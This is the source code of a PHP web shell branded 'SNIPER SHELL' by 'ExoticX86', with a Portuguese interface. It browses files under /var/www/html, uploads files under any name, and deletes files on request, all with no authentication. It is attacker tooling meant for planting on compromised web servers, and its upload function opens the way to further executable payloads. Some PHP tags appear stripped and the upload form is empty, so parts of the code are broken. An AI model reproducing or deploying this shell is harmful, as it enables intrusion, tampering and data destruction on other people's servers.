$baseDir = realpath('/var/www/html');
$dir = isset($_GET['dir']) ? realpath($_GET['dir']) : $baseDir;
if ($dir === false || strpos($dir, $baseDir) !== 0) {
$dir = $baseDir;
}
$mensagem = "";
if (isset($_FILES['file'])) {
$nome = $_POST['filename'] ?: $_FILES['file']['name'];
$destino = $dir . DIRECTORY_SEPARATOR . basename($nome);
if (move_uploaded_file($_FILES['file']['tmp_name'], $destino)) {
$mensagem = "Arquivo '$nome' enviado com sucesso!";
} else {
$mensagem = "Falha ao enviar o arquivo.";
}
}
if (isset($_GET['del'])) {
$arquivo = basename($_GET['del']);
$arquivoPath = $dir . DIRECTORY_SEPARATOR . $arquivo;
if (file_exists($arquivoPath)) {
unlink($arquivoPath);
$mensagem = "Arquivo '$arquivo' deletado!";
} else {
$mensagem = "Arquivo não encontrado.";
}
}
$arquivos = array_diff(scandir($dir), ['.', '..']);
$parentDir = dirname($dir);
if (strpos($parentDir, $baseDir) !== 0) {
$parentDir = $baseDir;
}
function mostrarCaminho($baseDir, $dir) {
$relativo = trim(str_replace($baseDir, '', $dir), DIRECTORY_SEPARATOR);
return '/' . $relativo;
}
<!DOCTYPE html>
<html lang="pt-BR">
<meta charset="UTF-8" />
<meta name="viewport" content="width=device-width, initial-scale=1.0">
SNIPER SHELL - ExoticX86 <title>SNIPER SHELL - ExoticX86</title>
<style>
@import url('https://fonts.googleapis.com/css2?family=Courier+Prime&display=swap');
* {
box-sizing: border-box;
}
body {
background-color: #000;
color: #fff;
font-family: 'Courier Prime', monospace;
font-size: 14px;
padding: 20px;
margin: 0;
}
h1 {
color: #0ff;
font-size: 20px;
margin-bottom: 10px;
text-align: center;
}
.current-path {
margin-bottom: 20px;
font-size: 12px;
color: #aaa;
word-break: break-all;
}
.file {
margin-bottom: 10px;
display: flex;
flex-wrap: wrap;
gap: 10px;
}
.file a {
color: cyan;
text-decoration: none;
margin-right: 10px;
}
.delete {
color: red;
text-decoration: none;
}
.upload-box {
margin-top: 40px;
border-top: 2px dashed purple;
padding-top: 20px;
}
input[type="file"],
input[type="text"],
input[type="submit"],
button {
font-family: 'Courier Prime', monospace;
font-size: 12px;
margin: 5px 0;
background-color: #111;
color: white;
border: 2px solid purple;
padding: 8px;
width: 100%;
max-width: 300px;
}
.mensagem {
color: yellow;
margin-bottom: 20px;
}
.link-button {
background: none;
border: none;
color: cyan;
cursor: pointer;
font-family: 'Courier Prime', monospace;
font-size: 14px;
text-decoration: none;
}
footer {
text-align: center;
margin-top: 40px;
border-top: 1px solid #444;
padding-top: 10px;
font-size: 10px;
color: #555;
}
@media (max-width: 600px) {
body {
padding: 10px;
}
}
</style>
SNIPER SHELL - #XYZ #ExoticX86
if ($mensagem):
<div class="mensagem">= htmlspecialchars($mensagem) </div>
endif;
<div class="current-path">
Diretório atual: <strong>= htmlspecialchars(mostrarCaminho($baseDir, $dir)) </strong>
</div>
<div class="file">
<a href="?dir== urlencode($parentDir) " class="link-button">.. (VOLTAR)</a>
</div>
foreach ($arquivos as $arquivo):
$arquivoPath = $dir . DIRECTORY_SEPARATOR . $arquivo;
if (is_dir($arquivoPath)) {
$link = '?dir=' . urlencode($arquivoPath);
} else {
$link = htmlspecialchars($arquivoPath);
}
<div class="file">
if (is_dir($arquivoPath)):
<a href="= $link ">= htmlspecialchars($arquivo) /</a>
else:
<a href="= $link " target="_blank">= htmlspecialchars($arquivo) </a>
endif;
-
<a class="delete" href="?del== urlencode($arquivo) &dir== urlencode($dir) ">[DELETAR]</a>
</div>
endforeach;
<div class="upload-box">
</div>
<footer>
Shell criada por <strong>ExoticX86</strong> - 2025
</footer>